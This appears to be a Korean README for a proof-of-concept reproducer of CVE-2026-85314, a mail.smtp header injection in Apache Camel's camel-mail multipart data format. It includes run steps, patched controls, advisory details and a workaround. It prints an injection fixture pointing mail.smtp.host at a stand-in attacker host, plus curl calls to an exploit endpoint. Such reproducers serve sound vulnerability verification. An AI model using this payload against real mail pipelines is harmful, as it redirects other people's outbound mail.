
CVE-2026-85314에 대한 실행 가능한 개념 증명 재현기로, Camel Spring Boot 및 Camel Quarkus에서 camel-mail MimeMultipart mail.smtp 헤더 주입을 시연하며, 패치된 제어 기능을 포함합니다.
MimeMultipart 헤더 주입 (mail.smtp*)camel-mail의 MimeMultipart 데이터 포맷이 언마샬 시 일반 DefaultHeaderFilterStrategy를 사용하여 메시지의 헤더를 Exchange에 매핑했으며, 이 전략은 mail.smtp. / mail.smtps. 네임스페이스를 제거하지 않는 Apache Camel 취약점에 대한 실행 가능한 개념 증명 재현기입니다. CVE-2026-46584는 메일 헤더가 필터링 없이 Exchange에 도달하는 경로를 차단했지만, 이 데이터 포맷에는 필터링되지 않은 경로가 하나 남아 있었습니다. 해당 헤더 이름에는 Camel 접두사가 없어(따라서 컨슈머의 헤더 필터도 이를 차단하지 못함) mail.smtp 네임스페이스가 다운스트림 메일 프로듀서의 연결 및 전송 방식을 제어하기 때문입니다. 따라서 멀티파트 메시지의 외부 발신자는 JavaMail 세션 속성을 주입하고 메일 연결을 리다이렉트할 수 있었습니다(CWE-20). 이는 새로운 결함 유형이 아니라 CVE-2026-46584의 불완전한 수정입니다.
| 런타임 | 디렉터리 | 스택 |
|---|---|---|
| Camel Spring Boot | camel-spring-boot/ | Spring Boot 3.5.13 + camel-mail 4.22.0 (영향받음; 4.22.1에서 수정) |
| Camel Quarkus | camel-quarkus/ | Quarkus 3.39.0 + camel-quarkus-mail (Camel 4.22.0, 영향받음; 수정 대조군 CQ 3.40.0 / Camel 4.22.1) |
두 모듈 모두 실제 MimeMultipartDataFormat에 대해 영향받는 동작 및 수정된 동작을 시연합니다.
드라이버는 JavaMail 세션 속성을 MIME 헤더로 담은 공격자 제어 멀티파트 메시지(인라인 헤더 모드, 수정 사항 자체의 MimeMultipartDataFormatTest를 그대로 반영)를 언마샬한 후, 어떤 속성이 Exchange에 도달했는지 보고합니다:
mail.smtp.host: attacker-smtp.example
mail.smtp.port: 2525
mail.smtps.auth: false
X-Normal: keep-me <- an unrelated header, should always survive
Content-Type: text/plain
Body text
mail.smtp.host, mail.smtp.port, mail.smtps.auth가 모두 언마샬 후에도 남아 Exchange 헤더가 됨 — 다운스트림 메일 생산자가 이를 읽게 되므로, 발신자가 메일이 전송되는 위치를 리다이렉트할 수 있음.mail.smtp.* 네임스페이스는 언마샬 시 필터링되며(MailHeaderFilterStrategy 사용), 관련 없는 X-Normal 헤더는 유지됨.# Camel Spring Boot
cd camel-spring-boot
mvn clean package
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack # affected: mail.smtp* injected = true; >>> PROVEN
docker compose down
# Patched control
mvn clean package -Dcamel.version=4.22.1
java -jar target/cve-2026-85314-mail-mime-header-injection-0.0.1-SNAPSHOT.jar &
curl -s http://localhost:8080/exploit/attack # fixed: mail.smtp* injected = false; >>> Not exploited
# Camel Quarkus
cd camel-quarkus
mvn clean package
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack # affected (Camel 4.22.0): mail.smtp* injected = true
docker compose down
# Patched control: CQ 3.40.0 ships Camel 4.22.1
mvn clean package -Dcamel-quarkus.version=3.40.0 -Dquarkus.platform.version=3.40.0
java -jar target/quarkus-app/quarkus-run.jar &
curl -s http://localhost:8080/exploit/attack # fixed: mail.smtp* injected = false
| 속성 | 값 |
|---|---|
| 구성 요소 | camel-mail (MimeMultipartDataFormat, unmarshal) |
| CWE | CWE-20 (부적절한 입력 검증) |
| 심각도 | MEDIUM |
| 공격 벡터 | 외부 발신자의 멀티파트 메시지가 mail.smtp.* MIME 헤더를 포함하며, unmarshalling 과정에서 이들이 Exchange에 매핑됨 |
| 영향 | 주입된 JavaMail 세션 속성이 다운스트림 메일 프로듀서의 연결 및 전송 방식/대상을 조종함 |
| 영향받는 버전 | 4.0.0 이상 4.18.5 미만, 4.19.0 이상 4.22.1 미만 |
| 수정된 버전 | 4.18.5, 4.22.1, 4.23.0 |
| JIRA | CAMEL-24419 |
| 관련 항목 | CVE-2026-46584의 불완전한 수정 |
| 크레딧 | Claude Security Scan Tool |
권고문: https://camel.apache.org/security/CVE-2026-85314.html
Quarkus의 영향받는 모듈은 CQ 3.39.0 (Camel 4.22.0)을 기반으로 빌드됩니다. 패치된 컨트롤은 CQ 3.40.0 (Camel 4.22.1)입니다.
MimeMultipartDataFormat은 이제 DefaultHeaderFilterStrategy 대신
MailHeaderFilterStrategy를 사용하므로, mail.smtp. / mail.smtps. 네임스페이스가 unmarshal 시에 메일 컨슈머가
인바운드 측에서 필터링하는 것과 정확히 동일하게 필터링됩니다(CAMEL-23522) — 이로써 CVE-2026-46584가 남겨둔 경로가
차단됩니다.
메일 프로듀서 이전에 데이터 포맷 이후에 removeHeaders("mail.smtp*")를 사용하여 네임스페이스를 제거하십시오.
이 저장소는 교육 및 방어 목적으로 게시됩니다: Apache Camel 사용자가 취약점을 이해하고, 영향을 받는지 확인하며,
업그레이드가 이를 해결하는지 검증할 수 있도록 돕기 위함입니다. 멀티파트 메시지는 프로세스 내의 무해한 픽스처이며,
attacker-smtp.example은 플레이스홀더이고 어떤 메일도 전송되지 않습니다. 소유하거나 운영하지 않는 시스템에
이 자료를 사용하지 마십시오.